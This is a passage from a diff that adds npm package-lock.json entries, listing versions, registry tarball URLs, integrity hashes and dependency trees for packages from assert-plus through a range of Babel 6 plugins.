"https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", + "dev": true + }, + "assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", + "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=" + }, + "ast-types": { + "version": "0.14.2", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.14.2.tgz", + "integrity": "sha512-O0yuUDnZeQDL+ncNGlJ78BiO4jnYI3bvMsD5prT0/nsgijG/LpNBIr63gTjVTNsiGkgQhiyCShTgxt8oXOrklA==", + "peer": true, + "requires": { + "tslib": "^2.0.1" + }, + "dependencies": { + "tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==", + "peer": true + } + } + }, + "astral-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz", + "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==", + "peer": true + }, + "async": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", + "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=", + "dev": true + }, + "async-each": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.1.tgz", + "integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=", + "dev": true + }, + "async-foreach": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", + "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", + "dev": true + }, + "async-limiter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==", + "peer": true + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", + "dev": true + }, + "atob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.1.tgz", + "integrity": "sha1-ri1acpR38onWDdf5amMUoi3Wwio=" + }, + "autoprefixer": { + "version": "6.7.7", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-6.7.7.tgz", + "integrity": "sha1-Hb0cg1ZY41zj+ZhAmdsAWFx4IBQ=", + "dev": true, + "requires": { + "browserslist": "^1.7.6", + "caniuse-db": "^1.0.30000634", + "normalize-range": "^0.1.2", + "num2fraction": "^1.2.2", + "postcss": "^5.2.16", + "postcss-value-parser": "^3.2.3" + }, + "dependencies": { + "browserslist": { + "version": "1.7.7", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", + "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", + "dev": true, + "requires": { + "caniuse-db": "^1.0.30000639", + "electron-to-chromium": "^1.2.7" + } + } + } + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", + "dev": true + }, + "aws4": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.6.0.tgz", + "integrity": "sha1-g+9cqGCysy5KDe7e6MdxudtXRx4=", + "dev": true + }, + "axios": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.19.2.tgz", + "integrity": "sha512-fjgm5MvRHLhx+osE2xoekY70AhARk3a6hkN+3Io1jc00jtquGvxYlKlsFUhmUET0V5te6CcZI7lcv2Ym61mjHA==", + "dev": true, + "requires": { + "follow-redirects": "1.5.10" + } + }, + "babel-cli": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-cli/-/babel-cli-6.26.0.tgz", + "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", + "dev": true, + "requires": { + "babel-core": "^6.26.0", + "babel-polyfill": "^6.26.0", + "babel-register": "^6.26.0", + "babel-runtime": "^6.26.0", + "chokidar": "^1.6.1", + "commander": "^2.11.0", + "convert-source-map": "^1.5.0", + "fs-readdir-recursive": "^1.0.0", + "glob": "^7.1.2", + "lodash": "^4.17.4", + "output-file-sync": "^1.1.2", + "path-is-absolute": "^1.0.1", + "slash": "^1.0.0", + "source-map": "^0.5.6", + "v8flags": "^2.1.1" + }, + "dependencies": { + "convert-source-map": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", + "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", + "dev": true + }, + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "babel-code-frame": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", + "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", + "requires": { + "chalk": "^1.1.3", + "esutils": "^2.0.2", + "js-tokens": "^3.0.2" + } + }, + "babel-core": { + "version": "6.26.3", + "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.26.3.tgz", + "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", + "dev": true, + "requires": { + "babel-code-frame": "^6.26.0", + "babel-generator": "^6.26.0", + "babel-helpers": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-register": "^6.26.0", + "babel-runtime": "^6.26.0", + "babel-template": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "convert-source-map": "^1.5.1", + "debug": "^2.6.9", + "json5": "^0.5.1", + "lodash": "^4.17.4", + "minimatch": "^3.0.4", + "path-is-absolute": "^1.0.1", + "private": "^0.1.8", + "slash": "^1.0.0", + "source-map": "^0.5.7" + }, + "dependencies": { + "convert-source-map": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", + "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", + "dev": true + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true + } + } + }, + "babel-generator": { + "version": "6.26.1", + "resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.1.tgz", + "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", + "dev": true, + "requires": { + "babel-messages": "^6.23.0", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "detect-indent": "^4.0.0", + "jsesc": "^1.3.0", + "lodash": "^4.17.4", + "source-map": "^0.5.7", + "trim-right": "^1.0.1" + }, + "dependencies": { + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true + } + } + }, + "babel-helper-bindify-decorators": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-bindify-decorators/-/babel-helper-bindify-decorators-6.24.1.tgz", + "integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=", + "requires": { + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-helper-builder-binary-assignment-operator-visitor": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz", + "integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=", + "requires": { + "babel-helper-explode-assignable-expression": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-helper-builder-react-jsx": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-helper-builder-react-jsx/-/babel-helper-builder-react-jsx-6.26.0.tgz", + "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", + "dev": true, + "requires": { + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "esutils": "^2.0.2" + } + }, + "babel-helper-call-delegate": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz", + "integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=", + "dev": true, + "requires": { + "babel-helper-hoist-variables": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-helper-define-map": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-helper-define-map/-/babel-helper-define-map-6.26.0.tgz", + "integrity": "sha1-pfVtq0GiX5fstJjH66ypgZ+Vvl8=", + "dev": true, + "requires": { + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "lodash": "^4.17.4" + } + }, + "babel-helper-explode-assignable-expression": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz", + "integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=", + "requires": { + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-helper-explode-class": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-explode-class/-/babel-helper-explode-class-6.24.1.tgz", + "integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=", + "requires": { + "babel-helper-bindify-decorators": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-helper-function-name": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz", + "integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=", + "requires": { + "babel-helper-get-function-arity": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-helper-get-function-arity": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz", + "integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=", + "requires": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-helper-hoist-variables": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz", + "integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-helper-optimise-call-expression": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz", + "integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-helper-regex": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-helper-regex/-/babel-helper-regex-6.26.0.tgz", + "integrity": "sha1-MlxZ+QL4LyS3T6zu0DY5VPZJXnI=", + "dev": true, + "requires": { + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "lodash": "^4.17.4" + } + }, + "babel-helper-remap-async-to-generator": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz", + "integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=", + "requires": { + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-helper-replace-supers": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz", + "integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=", + "dev": true, + "requires": { + "babel-helper-optimise-call-expression": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-helpers": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helpers/-/babel-helpers-6.24.1.tgz", + "integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "babel-loader": { + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-7.1.5.tgz", + "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", + "dev": true, + "requires": { + "find-cache-dir": "^1.0.0", + "loader-utils": "^1.0.2", + "mkdirp": "^0.5.1" + } + }, + "babel-messages": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-messages/-/babel-messages-6.23.0.tgz", + "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-check-es2015-constants": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz", + "integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "requires": { + "object.assign": "^4.1.0" + } + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz", + "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==", + "peer": true, + "requires": { + "@babel/compat-data": "^7.17.7", + "@babel/helper-define-polyfill-provider": "^0.3.3", + "semver": "^6.1.1" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true + } + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.6.0.tgz", + "integrity": "sha512-+eHqR6OPcBhJOGgsIar7xoAB1GcSwVUA3XjAd7HJNzOXT4wv6/H7KIdA/Nc60cvUlDbKApmqNvD1B1bzOt4nyA==", + "peer": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.3.3", + "core-js-compat": "^3.25.1" + } + }, + "babel-plugin-polyfill-regenerator": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.1.tgz", + "integrity": "sha512-NtQGmyQDXjQqQ+IzRkBVwEOz9lQ4zxAQZgoAYEtU9dJjnl1Oc98qnN7jcp+bE7O7aYzVpavXE3/VKXNzUbh7aw==", + "peer": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.3.3" + } + }, + "babel-plugin-syntax-async-functions": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz", + "integrity": "sha1-ytnK0RkbWtY0vzCuCHI5HgZHvpU=" + }, + "babel-plugin-syntax-async-generators": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-generators/-/babel-plugin-syntax-async-generators-6.13.0.tgz", + "integrity": "sha1-a8lj67FuzLrmuStZbrfzXDQqi5o=" + }, + "babel-plugin-syntax-class-properties": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-class-properties/-/babel-plugin-syntax-class-properties-6.13.0.tgz", + "integrity": "sha1-1+sjt5oxf4VDlixQW4J8fWysJ94=" + }, + "babel-plugin-syntax-decorators": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-decorators/-/babel-plugin-syntax-decorators-6.13.0.tgz", + "integrity": "sha1-MSVjtNvePMgGzuPkFszurd0RrAs=" + }, + "babel-plugin-syntax-dynamic-import": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-dynamic-import/-/babel-plugin-syntax-dynamic-import-6.18.0.tgz", + "integrity": "sha1-jWomIpyDdFqZgqRBBRVyyqF5sdo=" + }, + "babel-plugin-syntax-exponentiation-operator": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz", + "integrity": "sha1-nufoM3KQ2pUoggGmpX9BcDF4MN4=" + }, + "babel-plugin-syntax-flow": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-flow/-/babel-plugin-syntax-flow-6.18.0.tgz", + "integrity": "sha1-TDqyCiryaqIM0lmVw5jE63AxDI0=", + "dev": true + }, + "babel-plugin-syntax-jsx": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", + "integrity": "sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=", + "dev": true + }, + "babel-plugin-syntax-object-rest-spread": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz", + "integrity": "sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=" + }, + "babel-plugin-syntax-trailing-function-commas": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz", + "integrity": "sha1-ugNgk3+NBuQBgKQ/4NVhb/9TLPM=" + }, + "babel-plugin-transform-async-generator-functions": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-generator-functions/-/babel-plugin-transform-async-generator-functions-6.24.1.tgz", + "integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=", + "requires": { + "babel-helper-remap-async-to-generator": "^6.24.1", + "babel-plugin-syntax-async-generators": "^6.5.0", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-async-to-generator": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz", + "integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=", + "requires": { + "babel-helper-remap-async-to-generator": "^6.24.1", + "babel-plugin-syntax-async-functions": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-class-properties": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-class-properties/-/babel-plugin-transform-class-properties-6.24.1.tgz", + "integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=", + "requires": { + "babel-helper-function-name": "^6.24.1", + "babel-plugin-syntax-class-properties": "^6.8.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "babel-plugin-transform-decorators": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-decorators/-/babel-plugin-transform-decorators-6.24.1.tgz", + "integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=", + "requires": { + "babel-helper-explode-class": "^6.24.1", + "babel-plugin-syntax-decorators": "^6.13.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-arrow-functions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz", + "integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-block-scoped-functions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz", + "integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-block-scoping": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.26.0.tgz", + "integrity": "sha1-1w9SmcEwjQXBL0Y4E7CgnnOxiV8=", + "dev": true, + "requires": { + "babel-runtime": "^6.26.0", + "babel-template": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "lodash": "^4.17.4" + } + }, + "babel-plugin-transform-es2015-classes": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz", + "integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=", + "dev": true, + "requires": { + "babel-helper-define-map": "^6.24.1", + "babel-helper-function-name": "^6.24.1", + "babel-helper-optimise-call-expression": "^6.24.1", + "babel-helper-replace-supers": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-computed-properties": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz", + "integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-destructuring": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz", + "integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-duplicate-keys": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz", + "integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-for-of": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz", + "integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-function-name": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz", + "integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=", + "dev": true, + "requires": { + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-literals": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz", + "integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-modules-amd": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz", + "integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=", + "dev": true, + "requires": { + "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-modules-commonjs": { + "version": "6.26.2", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.26.2.tgz", + "integrity": "sha512-CV9ROOHEdrjcwhIaJNBGMBCodN+1cfkwtM1SbUHmvyy35KGT7fohbpOxkE2uLz1o6odKK2Ck/tz47z+VqQfi9Q==", + "dev": true, + "requires": { + "babel-plugin-transform-strict-mode": "^6.24.1", + "babel-runtime": "^6.26.0", + "babel-template": "^6.26.0", + "babel-types": "^6.26.0" + } + }, + "babel-plugin-transform-es2015-modules-systemjs": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz", + "integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=", + "dev": true, + "requires": { + "babel-helper-hoist-variables": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-modules-umd": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz", + "integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=", + "dev": true, + "requires": { + "babel-plugin-transform-es2015-modules-amd": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-object-super": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz", + "integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=", + "dev": true, + "requires": { + "babel-helper-replace-supers": "^6.24.1", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-parameters": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz", + "integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=", + "dev": true, + "requires": { + "babel-helper-call-delegate": "^6.24.1", + "babel-helper-get-function-arity": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-shorthand-properties": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz", + "integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-spread": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz", + "integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-sticky-regex": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz", + 